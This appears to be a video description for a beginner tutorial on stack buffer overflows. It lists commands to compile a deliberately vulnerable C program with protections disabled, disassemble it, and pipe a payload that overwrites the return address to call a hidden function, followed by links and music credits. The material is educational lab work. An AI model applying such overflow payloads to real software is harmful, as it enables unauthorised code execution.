Рет қаралды 9,511
Want to learn how buffer overflow works? Here I have a live demo on how buffer overflow works on system. Using code in C language we will exploit the program to execute a hidden function.
Written Article : blog.rohanparab.com/2020/11/buffler-overflow-example-using-c.html
Commands:
1. Compile c program : gcc FBI_.c -fno-stack-protector -m32 -no-pie
2. Execute : ./a.out
3. Decompose obj file : objdump -d a.out
4. Passing payload : python -c 'print "a"*32 + "\x82\x91\x04\x08"' | ./a.out
Links :
C Code : github.com/rohanparab/Buffer_Overflow/releases/download/1.0/FBI_.c
Github Project : github.com/rohanparab/Buffer_Overflow/
My Blog : encryptedguy.blogspot.com
------------------------------
A Journey Through The Universe - Lesion X
soundcloud.com/lesionxbeats
Creative Commons - Attribution 3.0 Unported - CC BY 3.0
Free Download / Stream: bit.ly/a-j-t-t-u
Music promoted by Audio Library • A Journey Through...
------------------------------
🎵 Track Info:
Title: A Journey Through The Universe by Lesion X
Genre and Mood: Dance & Electronic + Inspirational
---
#bufferOverflow #exploit #programming